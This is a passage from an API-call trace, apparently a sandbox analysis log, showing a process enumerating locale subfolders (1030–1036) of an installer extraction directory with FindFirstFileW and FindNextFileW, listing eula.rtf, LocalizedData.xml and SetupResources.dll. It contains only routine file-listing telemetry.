ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0050.549] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.549] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0050.549] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.549] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0050.549] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.549] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0050.550] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.550] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.550] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.550] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.550] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.550] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0050.550] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.550] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0050.550] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.550] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0050.551] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.551] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.551] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.551] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.551] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.552] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0050.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.552] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0050.552] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.552] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.552] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.552] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.553] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.553] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.553] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.553] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.553] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0050.553] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.553] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0050.554] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.554] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.554] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.554] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.554] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.554] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0050.554] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.554] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0050.554] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.554] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.555] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.555] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.555] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.555] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.555] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.555] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.555] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.555] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0050.556] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.556] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0050.556] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.556] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, 